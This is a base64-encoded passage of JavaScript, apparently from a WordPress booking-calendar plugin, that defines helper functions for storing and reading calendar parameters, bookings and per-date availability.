ZvciBhbGwgIGNhbGVuZGFyc1xyXG5cdCAqXHJcblx0ICogQHBhcmFtIHtvYmplY3R9IGNhbGVuZGFyc19vYmpcdFx0T2JqZWN0IHsgY2FsZW5kYXJfMToge30gfVxyXG5cdCAqIFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCBjYWxlbmRhcl8zOiB7fSwgLi4uIH1cclxuXHQgKi9cclxuXHRvYmouY2FsZW5kYXJzX2FsbF9fc2V0ID0gZnVuY3Rpb24gKCBjYWxlbmRhcnNfb2JqICkge1xyXG5cdFx0cF9jYWxlbmRhcnMgPSBjYWxlbmRhcnNfb2JqO1xyXG5cdH07XHJcblxyXG5cdC8qKlxyXG5cdCAqIEdldCBib29raW5ncyBpbiBhbGwgY2FsZW5kYXJzXHJcblx0ICpcclxuXHQgKiBAcmV0dXJucyB7b2JqZWN0fHt9fVxyXG5cdCAqL1xyXG5cdG9iai5jYWxlbmRhcnNfYWxsX19nZXQgPSBmdW5jdGlvbiAoKSB7XHJcblx0XHRyZXR1cm4gcF9jYWxlbmRhcnM7XHJcblx0fTtcclxuXHJcblx0LyoqXHJcblx0ICogR2V0IGNhbGVuZGFyIG9iamVjdCAgIDo6ICAgeyBpZDogMSwg4oCmIH1cclxuXHQgKlxyXG5cdCAqIEBwYXJhbSB7c3RyaW5nfGludH0gcmVzb3VyY2VfaWRcdFx0XHRcdCAgJzInXHJcblx0ICogQHJldHVybnMge29iamVjdHxib29sZWFufVx0XHRcdFx0XHR7IGlkOiAyICzigKYgfVxyXG5cdCAqL1xyXG5cdG9iai5jYWxlbmRhcl9fZ2V0X3BhcmFtZXRlcnMgPSBmdW5jdGlvbiAoIHJlc291cmNlX2lkICkge1xyXG5cclxuXHRcdGlmICggb2JqLmNhbGVuZGFyX19pc19kZWZpbmVkKCByZXNvdXJjZV9pZCApICl7XHJcblxyXG5cdFx0XHRyZXR1cm4gcF9jYWxlbmRhcnNbICdjYWxlbmRhcl8nICsgcmVzb3VyY2VfaWQgXTtcclxuXHRcdH0gZWxzZSB7XHJcblx0XHRcdHJldHVybiBmYWxzZTtcclxuXHRcdH1cclxuXHR9O1xyXG5cclxuXHQvKipcclxuXHQgKiBTZXQgY2FsZW5kYXIgb2JqZWN0ICAgOjogICB7IGRhdGVzOiAgT2JqZWN0IHsgXCIyMDIzLTA3LTIxXCI6IHvigKZ9LCBcIjIwMjMtMDctMjJcIjoge+KApn0sIFwiMjAyMy0wNy0yM1wiOiB74oCmfSwg4oCmIH1cclxuXHQgKlxyXG5cdCAqIGlmIGNhbGVuZGFyIG9iamVjdCAgbm90IGRlZmluZWQsIHRoZW4gIGl0J3Mgd2lsbCBiZSBkZWZpbmVkIGFuZCBJRCBzZXRcclxuXHQgKiBpZiBjYWxlbmRhciBleGlzdCwgdGhlbiAgc3lzdGVtIHNldCAgYXMgbmV3IG9yIG92ZXJ3cml0ZSBvbmx5IHByb3BlcnRpZXMgZnJvbSBjYWxlbmRhcl9wcm9wZXJ0eV9vYmogcGFyYW1ldGVyLCAgYnV0IG90aGVyIHByb3BlcnRpZXMgd2lsbCBiZSBleGlzdGVkIGFuZCBub3Qgb3ZlcndyaXRlLCBsaWtlICdpZCdcclxuXHQgKlxyXG5cdCAqIEBwYXJhbSB7c3RyaW5nfGludH0gcmVzb3VyY2VfaWRcdFx0XHRcdCAgJzInXHJcblx0ICogQHBhcmFtIHtvYmplY3R9IGNhbGVuZGFyX3Byb3BlcnR5X29ialx0XHRcdFx0XHQgIHsgIGRhdGVzOiAgT2JqZWN0IHsgXCIyMDIzLTA3LTIxXCI6IHvigKZ9LCBcIjIwMjMtMDctMjJcIjoge+KApn0sIFwiMjAyMy0wNy0yM1wiOiB74oCmfSwg4oCmIH0gIH1cclxuXHQgKiBAcGFyYW0ge2Jvb2xlYW59IGlzX2NvbXBsZXRlX292ZXJ3cml0ZVx0XHQgIGlmICd0cnVlJyAoZGVmYXVsdDogJ2ZhbHNlJyksICB0aGVuICBvbmx5IG92ZXJ3cml0ZSBvciBhZGQgIG5ldyBwcm9wZXJ0aWVzIGluICBjYWxlbmRhcl9wcm9wZXJ0eV9vYmpcclxuXHQgKiBAcmV0dXJucyB7Kn1cclxuXHQgKlxyXG5cdCAqIEV4YW1wbGVzOlxyXG5cdCAqXHJcblx0ICogQ29tbW9uIHVzYWdlIGluIFBIUDpcclxuXHQgKiAgIFx0XHRcdGVjaG8gXCIgIF93cGJjLmNhbGVuZGFyX19zZXQoICBcIiAuaW50dmFsKCAkcmVzb3VyY2VfaWQgKSAuIFwiLCB7ICdkYXRlcyc6IFwiIC4gd3BfanNvbl9lbmNvZGUoICRhdmFpbGFiaWxpdHlfcGVyX2RheXNfYXJyICkgLiBcIiB9ICk7XCI7XHJcblx0ICovXHJcblx0b2JqLmNhbGVuZGFyX19zZXRfcGFyYW1ldGVycyA9IGZ1bmN0aW9uICggcmVzb3VyY2VfaWQsIGNhbGVuZGFyX3Byb3BlcnR5X29iaiwgaXNfY29tcGxldGVfb3ZlcndyaXRlID0gZmFsc2UgICkge1xyXG5cclxuXHRcdGlmICggKCFvYmouY2FsZW5kYXJfX2lzX2RlZmluZWQoIHJlc291cmNlX2lkICkpIHx8ICh0cnVlID09PSBpc19jb21wbGV0ZV9vdmVyd3JpdGUpICl7XHJcblx0XHRcdG9iai5jYWxlbmRhcl9faW5pdCggcmVzb3VyY2VfaWQgKTtcclxuXHRcdH1cclxuXHJcblx0XHRmb3IgKCB2YXIgcHJvcF9uYW1lIGluIGNhbGVuZGFyX3Byb3BlcnR5X29iaiApe1xyXG5cclxuXHRcdFx0cF9jYWxlbmRhcnNbICdjYWxlbmRhcl8nICsgcmVzb3VyY2VfaWQgXVsgcHJvcF9uYW1lIF0gPSBjYWxlbmRhcl9wcm9wZXJ0eV9vYmpbIHByb3BfbmFtZSBdO1xyXG5cdFx0fVxyXG5cclxuXHRcdHJldHVybiBwX2NhbGVuZGFyc1sgJ2NhbGVuZGFyXycgKyByZXNvdXJjZV9pZCBdO1xyXG5cdH07XHJcblxyXG5cdC8qKlxyXG5cdCAqIFNldCBwcm9wZXJ0eSAgdG8gIGNhbGVuZGFyXHJcblx0ICogQHBhcmFtIHJlc291cmNlX2lkXHRcIjFcIlxyXG5cdCAqIEBwYXJhbSBwcm9wX25hbWVcdFx0bmFtZSBvZiBwcm9wZXJ0eVxyXG5cdCAqIEBwYXJhbSBwcm9wX3ZhbHVlXHR2YWx1ZSBvZiBwcm9wZXJ0eVxyXG5cdCAqIEByZXR1cm5zIHsqfVx0XHRcdGNhbGVuZGFyIG9iamVjdFxyXG5cdCAqL1xyXG5cdG9iai5jYWxlbmRhcl9fc2V0X3BhcmFtX3ZhbHVlID0gZnVuY3Rpb24gKCByZXNvdXJjZV9pZCwgcHJvcF9uYW1lLCBwcm9wX3ZhbHVlICkge1xyXG5cclxuXHRcdGlmICggKCFvYmouY2FsZW5kYXJfX2lzX2RlZmluZWQoIHJlc291cmNlX2lkICkpICl7XHJcblx0XHRcdG9iai5jYWxlbmRhcl9faW5pdCggcmVzb3VyY2VfaWQgKTtcclxuXHRcdH1cclxuXHJcblx0XHRwX2NhbGVuZGFyc1sgJ2NhbGVuZGFyXycgKyByZXNvdXJjZV9pZCBdWyBwcm9wX25hbWUgXSA9IHByb3BfdmFsdWU7XHJcblxyXG5cdFx0cmV0dXJuIHBfY2FsZW5kYXJzWyAnY2FsZW5kYXJfJyArIHJlc291cmNlX2lkIF07XHJcblx0fTtcclxuXHJcblx0LyoqXHJcblx0ICogIEdldCBjYWxlbmRhciBwcm9wZXJ0eSB2YWx1ZSAgIFx0OjogICBtaXhlZCB8IG51bGxcclxuXHQgKlxyXG5cdCAqIEBwYXJhbSB7c3RyaW5nfGludH0gIHJlc291cmNlX2lkXHRcdCcxJ1xyXG5cdCAqIEBwYXJhbSB7c3RyaW5nfSBwcm9wX25hbWVcdFx0XHQnc2VsZWN0aW9uX21vZGUnXHJcblx0ICogQHJldHVybnMgeyp8bnVsbH1cdFx0XHRcdFx0bWl4ZWQgfCBudWxsXHJcblx0ICovXHJcblx0b2JqLmNhbGVuZGFyX19nZXRfcGFyYW1fdmFsdWUgPSBmdW5jdGlvbiggcmVzb3VyY2VfaWQsIHByb3BfbmFtZSApe1xyXG5cclxuXHRcdGlmIChcclxuXHRcdFx0ICAgKCBvYmouY2FsZW5kYXJfX2lzX2RlZmluZWQoIHJlc291cmNlX2lkICkgKVxyXG5cdFx0XHQmJiAoICd1bmRlZmluZWQnICE9PSB0eXBlb2YgKCBwX2NhbGVuZGFyc1sgJ2NhbGVuZGFyXycgKyByZXNvdXJjZV9pZCBdWyBwcm9wX25hbWUgXSApIClcclxuXHRcdCl7XHJcblx0XHRcdC8vRml4SW46IDkuOS4wLjI5XHJcblx0XHRcdGlmICggb2JqLmNhbGVuZGFyX19pc19wcm9wX2ludCggcHJvcF9uYW1lICkgKXtcclxuXHRcdFx0XHRwX2NhbGVuZGFyc1sgJ2NhbGVuZGFyXycgKyByZXNvdXJjZV9pZCBdWyBwcm9wX25hbWUgXSA9IHBhcnNlSW50KCBwX2NhbGVuZGFyc1sgJ2NhbGVuZGFyXycgKyByZXNvdXJjZV9pZCBdWyBwcm9wX25hbWUgXSApO1xyXG5cdFx0XHR9XHJcblx0XHRcdHJldHVybiAgcF9jYWxlbmRhcnNbICdjYWxlbmRhcl8nICsgcmVzb3VyY2VfaWQgXVsgcHJvcF9uYW1lIF07XHJcblx0XHR9XHJcblxyXG5cdFx0cmV0dXJuIG51bGw7XHRcdC8vIElmIHNvbWUgcHJvcGVydHkgbm90IGRlZmluZWQsIHRoZW4gbnVsbDtcclxuXHR9O1xyXG5cdC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcblxyXG5cclxuXHQvLyBCb29raW5ncyBcdC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuXHR2YXIgcF9ib29raW5ncyA9IG9iai5ib29raW5nc19vYmogPSBvYmouYm9va2luZ3Nfb2JqIHx8IHtcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQvLyBjYWxlbmRhcl8xOiBPYmplY3Qge1xyXG4gXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQvL1x0XHRcdFx0XHRcdCAgIGlkOiAgICAgMVxyXG4gXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQvL1x0XHRcdFx0XHRcdCAsIGRhdGVzOiAgT2JqZWN0IHsgXCIyMDIzLTA3LTIxXCI6IHvigKZ9LCBcIjIwMjMtMDctMjJcIjoge+KApn0sIFwiMjAyMy0wNy0yM1wiOiB74oCmfSwg4oCmXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0Ly8gfVxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHR9O1xyXG5cclxuXHQvKipcclxuXHQgKiAgQ2hlY2sgaWYgYm9va2luZ3MgZm9yIHNwZWNpZmljIGJvb2tpbmcgcmVzb3VyY2UgZGVmaW5lZCAgIDo6ICAgdHJ1ZSB8IGZhbHNlXHJcblx0ICpcclxuXHQgKiBAcGFyYW0ge3N0cmluZ3xpbnR9IHJlc291cmNlX2lkXHJcblx0ICogQHJldHVybnMge2Jvb2xlYW59XHJcblx0ICovXHJcblx0b2JqLmJvb2tpbmdzX2luX2NhbGVuZGFyX19pc19kZWZpbmVkID0gZnVuY3Rpb24gKCByZXNvdXJjZV9pZCApIHtcclxuXHJcblx0XHRyZXR1cm4gKCd1bmRlZmluZWQnICE9PSB0eXBlb2YoIHBfYm9va2luZ3NbICdjYWxlbmRhcl8nICsgcmVzb3VyY2VfaWQgXSApICk7XHJcblx0fTtcclxuXHJcblx0LyoqXHJcblx0ICogR2V0IGJvb2tpbmdzIGNhbGVuZGFyIG9iamVjdCAgIDo6ICAgeyBpZDogMSAsIGRhdGVzOiAgT2JqZWN0IHsgXCIyMDIzLTA3LTIxXCI6IHvigKZ9LCBcIjIwMjMtMDctMjJcIjoge+KApn0sIFwiMjAyMy0wNy0yM1wiOiB74oCmfSwg4oCmIH1cclxuXHQgKlxyXG5cdCAqIEBwYXJhbSB7c3RyaW5nfGludH0gcmVzb3VyY2VfaWRcdFx0XHRcdCAgJzInXHJcblx0ICogQHJldHVybnMge29iamVjdHxib29sZWFufVx0XHRcdFx0XHR7IGlkOiAyICwgZGF0ZXM6ICBPYmplY3QgeyBcIjIwMjMtMDctMjFcIjoge+KApn0sIFwiMjAyMy0wNy0yMlwiOiB74oCmfSwgXCIyMDIzLTA3LTIzXCI6IHvigKZ9LCDigKYgfVxyXG5cdCAqL1xyXG5cdG9iai5ib29raW5nc19pbl9jYWxlbmRhcl9fZ2V0ID0gZnVuY3Rpb24oIHJlc291cmNlX2lkICl7XHJcblxyXG5cdFx0aWYgKCBvYmouYm9va2luZ3NfaW5fY2FsZW5kYXJfX2lzX2RlZmluZWQoIHJlc291cmNlX2lkICkgKXtcclxuXHJcblx0XHRcdHJldHVybiBwX2Jvb2tpbmdzWyAnY2FsZW5kYXJfJyArIHJlc291cmNlX2lkIF07XHJcblx0XHR9IGVsc2Uge1xyXG5cdFx0XHRyZXR1cm4gZmFsc2U7XHJcblx0XHR9XHJcblx0fTtcclxuXHJcblx0LyoqXHJcblx0ICogU2V0IGJvb2tpbmdzIGNhbGVuZGFyIG9iamVjdCAgIDo6ICAgeyBkYXRlczogIE9iamVjdCB7IFwiMjAyMy0wNy0yMVwiOiB74oCmfSwgXCIyMDIzLTA3LTIyXCI6IHvigKZ9LCBcIjIwMjMtMDctMjNcIjoge+KApn0sIOKApiB9XHJcblx0ICpcclxuXHQgKiBpZiBjYWxlbmRhciBvYmplY3QgIG5vdCBkZWZpbmVkLCB0aGVuICBpdCdzIHdpbGwgYmUgZGVmaW5lZCBhbmQgSUQgc2V0XHJcblx0ICogaWYgY2FsZW5kYXIgZXhpc3QsIHRoZW4gIHN5c3RlbSBzZXQgIGFzIG5ldyBvciBvdmVyd3JpdGUgb25seSBwcm9wZXJ0aWVzIGZyb20gY2FsZW5kYXJfb2JqIHBhcmFtZXRlciwgIGJ1dCBvdGhlciBwcm9wZXJ0aWVzIHdpbGwgYmUgZXhpc3RlZCBhbmQgbm90IG92ZXJ3cml0ZSwgbGlrZSAnaWQnXHJcblx0ICpcclxuXHQgKiBAcGFyYW0ge3N0cmluZ3xpbnR9IHJlc291cmNlX2lkXHRcdFx0XHQgICcyJ1xyXG5cdCAqIEBwYXJhbSB7b2JqZWN0fSBjYWxlbmRhcl9vYmpcdFx0XHRcdFx0ICB7ICBkYXRlczogIE9iamVjdCB7IFwiMjAyMy0wNy0yMVwiOiB74oCmfSwgXCIyMDIzLTA3LTIyXCI6IHvigKZ9LCBcIjIwMjMtMDctMjNcIjoge+KApn0sIOKApiB9ICB9XHJcblx0ICogQHJldHVybnMgeyp9XHJcblx0ICpcclxuXHQgKiBFeGFtcGxlczpcclxuXHQgKlxyXG5cdCAqIENvbW1vbiB1c2FnZSBpbiBQSFA6XHJcblx0ICogICBcdFx0XHRlY2hvIFwiICBfd3BiYy5ib29raW5nc19pbl9jYWxlbmRhcl9fc2V0KCAgXCIgLmludHZhbCggJHJlc291cmNlX2lkICkgLiBcIiwgeyAnZGF0ZXMnOiBcIiAuIHdwX2pzb25fZW5jb2RlKCAkYXZhaWxhYmlsaXR5X3Blcl9kYXlzX2FyciApIC4gXCIgfSApO1wiO1xyXG5cdCAqL1xyXG5cdG9iai5ib29raW5nc19pbl9jYWxlbmRhcl9fc2V0ID0gZnVuY3Rpb24oIHJlc291cmNlX2lkLCBjYWxlbmRhcl9vYmogKXtcclxuXHJcblx0XHRpZiAoICEgb2JqLmJvb2tpbmdzX2luX2NhbGVuZGFyX19pc19kZWZpbmVkKCByZXNvdXJjZV9pZCApICl7XHJcblx0XHRcdHBfYm9va2luZ3NbICdjYWxlbmRhcl8nICsgcmVzb3VyY2VfaWQgXSA9IHt9O1xyXG5cdFx0XHRwX2Jvb2tpbmdzWyAnY2FsZW5kYXJfJyArIHJlc291cmNlX2lkIF1bICdpZCcgXSA9IHJlc291cmNlX2lkO1xyXG5cdFx0fVxyXG5cclxuXHRcdGZvciAoIHZhciBwcm9wX25hbWUgaW4gY2FsZW5kYXJfb2JqICl7XHJcblxyXG5cdFx0XHRwX2Jvb2tpbmdzWyAnY2FsZW5kYXJfJyArIHJlc291cmNlX2lkIF1bIHByb3BfbmFtZSBdID0gY2FsZW5kYXJfb2JqWyBwcm9wX25hbWUgXTtcclxuXHRcdH1cclxuXHJcblx0XHRyZXR1cm4gcF9ib29raW5nc1sgJ2NhbGVuZGFyXycgKyByZXNvdXJjZV9pZCBdO1xyXG5cdH07XHJcblxyXG5cdC8vIERhdGVzXHJcblxyXG5cdC8qKlxyXG5cdCAqICBHZXQgYm9va2luZ3MgZGF0YSBmb3IgQUxMIERhdGVzIGluIGNhbGVuZGFyICAgOjogICBmYWxzZSB8IHsgXCIyMDIzLTA3LTIyXCI6IHvigKZ9LCBcIjIwMjMtMDctMjNcIjoge+KApn0sIOKApiB9XHJcblx0ICpcclxuXHQgKiBAcGFyYW0ge3N0cmluZ3xpbnR9IHJlc291cmNlX2lkXHRcdFx0JzEnXHJcblx0ICogQHJldHVybnMge29iamVjdHxib29sZWFufVx0XHRcdFx0ZmFsc2UgfCBPYmplY3Qge1xyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFwiMjAyMy0wNy0yNFwiOiBPYmplY3QgeyBbJ3N1bW1hcnknXVsnc3RhdHVzX2Zvcl9kYXknXTogXCJhdmFpbGFibGVcIiwgZGF5X2F2YWlsYWJpbGl0eTogMSwgbWF4X2NhcGFjaXR5OiAxLCDigKYgfVxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFwiMjAyMy0wNy0yNlwiOiBPYmplY3QgeyBbJ3N1bW1hcnknXVsnc3RhdHVzX2Zvcl9kYXknXTogXCJmdWxsX2RheV9ib29raW5nXCIsIFsnc3VtbWFyeSddWydzdGF0dXNfZm9yX2Jvb2tpbmdzJ106IFwicGVuZGluZ1wiLCBkYXlfYXZhaWxhYmlsaXR5OiAwLCDigKYgfVxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFwiMjAyMy0wNy0yOVwiOiBPYmplY3QgeyBbJ3N1bW1hcnknXVsnc3RhdHVzX2Zvcl9kYXknXTogXCJyZXNvdXJjZV9hdmFpbGFiaWxpdHlcIiwgZGF5X2F2YWlsYWJpbGl0eTogMCwgbWF4X2NhcGFjaXR5OiAxLCDigKYgfVxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFwiMjAyMy0wNy0zMFwiOiB74oCmfSwgXCIyMDIzLTA3LTMxXCI6IHvigKZ9LCDigKZcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0fVxyXG5cdCAqL1xyXG5cdG9iai5ib29raW5nc19pbl9jYWxlbmRhcl9fZ2V0X2RhdGVzID0gZnVuY3Rpb24oIHJlc291cmNlX2lkKXtcclxuXHJcblx0XHRpZiAoXHJcblx0XHRcdCAgICggb2JqLmJvb2tpbmdzX2luX2NhbGVuZGFyX19pc19kZWZpbmVkKCByZXNvdXJjZV9pZCApIClcclxuXHRcdFx0JiYgKCAndW5kZWZpbmVkJyAhPT0gdHlwZW9mICggcF9ib29raW5nc1sgJ2NhbGVuZGFyXycgKyByZXNvdXJjZV9pZCBdWyAnZGF0ZXMnIF0gKSApXHJcblx0XHQpe1xyXG5cdFx0XHRyZXR1cm4gIHBfYm9va2luZ3NbICdjYWxlbmRhcl8nICsgcmVzb3VyY2VfaWQgXVsgJ2RhdGVzJyBdO1xyXG5cdFx0fVxyXG5cclxuXHRcdHJldHVybiBmYWxzZTtcdFx0Ly8gSWYgc29tZSBwcm9wZXJ0eSBub3QgZGVmaW5lZCwgdGhlbiBmYWxzZTtcclxuXHR9O1xyXG5cclxuXHQvKipcclxuXHQgKiBTZXQgYm9va2luZ3MgZGF0ZXMgaW4gY2FsZW5kYXIgb2JqZWN0ICAgOjogICAgeyBcIjIwMjMtMDctMjFcIjoge+KApn0sIFwiMjAyMy0wNy0yMlwiOiB74oCmfSwgXCIyMDIzLTA3LTIzXCI6IHvigKZ9LCDigKYgfVxyXG5cdCAqXHJcblx0ICogaWYgY2FsZW5kYXIgb2JqZWN0ICBub3QgZGVmaW5lZCwgdGhlbiAgaXQncyB3aWxsIGJlIGRlZmluZWQgYW5kICdpZCcsICdkYXRlcycgc2V0XHJcblx0ICogaWYgY2FsZW5kYXIgZXhpc3QsIHRoZW4gc3lzdGVtIGFkZCBhICBuZXcgb3Igb3ZlcndyaXRlIG9ubHkgZGF0ZXMgZnJvbSBkYXRlc19vYmogcGFyYW1ldGVyLFxyXG5cdCAqIGJ1dCBvdGhlciBkYXRlcyBub3QgZnJvbSBwYXJhbWV0ZXIgZGF0ZXNfb2JqIHdpbGwgYmUgZXhpc3RlZCBhbmQgbm90IG92ZXJ3cml0ZS5cclxuXHQgKlxyXG5cdCAqIEBwYXJhbSB7c3RyaW5nfGludH0gcmVzb3VyY2VfaWRcdFx0XHRcdCAgJzInXHJcblx0ICogQHBhcmFtIHtvYmplY3R9IGRhdGVzX29ialx0XHRcdFx0XHQgIHsgXCIyMDIzLTA3LTIxXCI6IHvigKZ9LCBcIjIwMjMtMDctMjJcIjoge+KApn0sIFwiMjAyMy0wNy0yM1wiOiB74oCmfSwg4oCmIH1cclxuXHQgKiBAcGFyYW0ge2Jvb2xlYW59IGlzX2NvbXBsZXRlX292ZXJ3cml0ZVx0XHQgIGlmIGZhbHNlLCAgdGhlbiAgb25seSBvdmVyd3JpdGUgb3IgYWRkICBkYXRlcyBmcm9tIFx0ZGF0ZXNfb2JqXHJcblx0ICogQHJldHVybnMgeyp9XHJcblx0ICpcclxuXHQgKiBFeGFtcGxlczpcclxuXHQgKiAgIFx0XHRcdF93cGJjLmJvb2tpbmdzX2luX2NhbGVuZGFyX19zZXRfZGF0ZXMoIHJlc291cmNlX2lkLCB7IFwiMjAyMy0wNy0yMVwiOiB74oCmfSwgXCIyMDIzLTA3LTIyXCI6IHvigKZ9LCDigKYgfSAgKTtcdFx0PC0gICBvdmVyd3JpdGUgQUxMIGRhdGVzXHJcblx0ICogICBcdFx0XHRfd3BiYy5ib29raW5nc19pbl9jYWxlbmRhcl9fc2V0X2RhdGVzKCByZXNvdXJjZV9pZCwgeyBcIjIwMjMtMDctMjJcIjoge+KApn0gfSwgIGZhbHNlICApO1x0XHRcdFx0XHQ8LSAgIGFkZCBvciBvdmVyd3JpdGUgb25seSAgXHRcIjIwMjMtMDctMjJcIjoge31cclxuXHQgKlxyXG5cdCAqIENvbW1vbiB1c2FnZSBpbiBQSFA6XHJcblx0ICogICBcdFx0XHRlY2hvIFwiICBfd3BiYy5ib29raW5nc19pbl9jYWxlbmRhcl9fc2V0X2RhdGVzKCAgXCIgLiBpbnR2YWwoICRyZXNvdXJjZV9pZCApIC4gXCIsICBcIiAuIHdwX2pzb25fZW5jb2RlKCAkYXZhaWxhYmlsaXR5X3Blcl9kYXlzX2FyciApIC4gXCIgICk7ICBcIjtcclxuXHQgKi9cclxuXHRvYmouYm9va2luZ3NfaW5fY2FsZW5kYXJfX3NldF9kYXRlcyA9IGZ1bmN0aW9uKCByZXNvdXJjZV9pZCwgZGF0ZXNfb2JqICwgaXNfY29tcGxldGVfb3ZlcndyaXRlID0gdHJ1ZSApe1xyXG5cclxuXHRcdGlmICggIW9iai5ib29raW5nc19pbl9jYWxlbmRhcl9faXNfZGVmaW5lZCggcmVzb3VyY2VfaWQgKSApe1xyXG5cdFx0XHRvYmouYm9va2luZ3NfaW5fY2FsZW5kYXJfX3NldCggcmVzb3VyY2VfaWQsIHsgJ2RhdGVzJzoge30gfSApO1xyXG5cdFx0fVxyXG5cclxuXHRcdGlmICggJ3VuZGVmaW5lZCcgPT09IHR5cGVvZiAocF9ib29raW5nc1sgJ2NhbGVuZGFyXycgKyByZXNvdXJjZV9pZCBdWyAnZGF0ZXMnIF0pICl7XHJcblx0XHRcdHBfYm9va2luZ3NbICdjYWxlbmRhcl8nICsgcmVzb3VyY2VfaWQgXVsgJ2RhdGVzJyBdID0ge31cclxuXHRcdH1cclxuXHJcblx0XHRpZiAoaXNfY29tcGxldGVfb3ZlcndyaXRlKXtcclxuXHJcblx0XHRcdC8vIENvbXBsZXRlIG92ZXJ3cml0ZSBhbGwgIGJvb2tpbmcgZGF0ZXNcclxuXHRcdFx0cF9ib29raW5nc1sgJ2NhbGVuZGFyXycgKyByZXNvdXJjZV9pZCBdWyAnZGF0ZXMnIF0gPSBkYXRlc19vYmo7XHJcblx0XHR9IGVsc2Uge1xyXG5cclxuXHRcdFx0Ly8gQWRkIG9ubHkgIG5ldyBvciBvdmVyd3JpdGUgZXhpc3QgYm9va2luZyBkYXRlcyBmcm9tICBwYXJhbWV0ZXIuIEJvb2tpbmcgZGF0ZXMgbm90IGZyb20gIHBhcmFtZXRlciAgd2lsbCAgYmUgd2l0aG91dCBjaG5hbmdlc1xyXG5cdFx0XHRmb3IgKCB2YXIgcHJvcF9uYW1lIGluIGRhdGVzX29iaiApe1xyXG5cclxuXHRcdFx0XHRwX2Jvb2tpbmdzWyAnY2FsZW5kYXJfJyArIHJlc291cmNlX2lkIF1bJ2RhdGVzJ11bIHByb3BfbmFtZSBdID0gZGF0ZXNfb2JqWyBwcm9wX25hbWUgXTtcclxuXHRcdFx0fVxyXG5cdFx0fVxyXG5cclxuXHRcdHJldHVybiBwX2Jvb2tpbmdzWyAnY2FsZW5kYXJfJyArIHJlc291cmNlX2lkIF07XHJcblx0fTtcclxuXHJcblxyXG5cdC8qKlxyXG5cdCAqICBHZXQgYm9va2luZ3MgZGF0YSBmb3Igc3BlY2lmaWMgZGF0ZSBpbiBjYWxlbmRhciAgIDo6ICAgZmFsc2UgfCB7IGRheV9hdmFpbGFiaWxpdHk6IDEsIC4uLiB9XHJcblx0ICpcclxuXHQgKiBAcGFyYW0ge3N0cmluZ3xpbnR9IHJlc291cmNlX2lkXHRcdFx0JzEnXHJcblx0ICogQHBhcmFtIHtzdHJpbmd9IHNxbF9jbGFzc19kYXlcdFx0XHQnMjAyMy0wNy0yMSdcclxuXHQgKiBAcmV0dXJucyB7b2JqZWN0fGJvb2xlYW59XHRcdFx0XHRmYWxzZSB8IHtcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0ZGF5X2F2YWlsYWJpbGl0eTogNFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRtYXhfY2FwYWNpdHk6IDRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQvLyAgPj0gQnVzaW5lc3MgTGFyZ2VcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0MjogT2JqZWN0IHsgaXNfZGF5X3VuYXZhaWxhYmxlOiBmYWxzZSwgX2RheV9zdGF0dXM6IFwiYXZhaWxhYmxlXCIgfVxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQxMDogT2JqZWN0IHsgaXNfZGF5X3VuYXZhaWxhYmxlOiBmYWxzZSwgX2RheV9zdGF0dXM6IFwiYXZhaWxhYmxlXCIgfVx0XHQvLyAgPj0gQnVzaW5lc3MgTGFyZ2UgLi4uXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdDExOiBPYmplY3QgeyBpc19kYXlfdW5hdmFpbGFibGU6IGZhbHNlLCBfZGF5X3N0YXR1czogXCJhdmFpbGFibGVcIiB9XHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdDEyOiBPYmplY3QgeyBpc19kYXlfdW5hdmFpbGFibGU6IGZhbHNlLCBfZGF5X3N0YXR1czogXCJhdmFpbGFibGVcIiB9XHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHR9XHJcblx0ICovXHJcblx0b2JqLmJvb2tpbmdzX2luX2NhbGVuZGFyX19nZXRfZm9yX2RhdGUgPSBmdW5jdGlvbiggcmVzb3VyY2VfaWQsIHNxbF9jbGFzc19kYXkgKXtcclxuXHJcblx0XHRpZiAoXHJcblx0XHRcdCAgICggb2JqLmJvb2tpbmdzX2luX2NhbGVuZGFyX19pc19kZWZpbmVkKCByZXNvdXJjZV9pZCApIClcclxuXHRcdFx0JiYgKCAndW5kZWZpbmVkJyAhPT0gdHlwZW9mICggcF9ib29raW5nc1sgJ2NhbGVuZGFyXycgKyByZXNvdXJjZV9pZCBdWyAnZGF0ZXMnIF0gKSApXHJcblx0XHRcdCYmICggJ3VuZGVmaW5lZCcgIT09IHR5cGVvZiAoIHBfYm9va2luZ3NbICdjYWxlbmRhcl8nICsgcmVzb3VyY2VfaWQgXVsgJ2RhdGVzJyBdWyBzcWxfY2xhc3NfZGF5IF0gKSApXHJcblx0XHQpe1xyXG5cdFx0XHRyZXR1cm4gIHBfYm9va2luZ3NbICdjYWxlbmRhcl8nICsgcmVzb3VyY2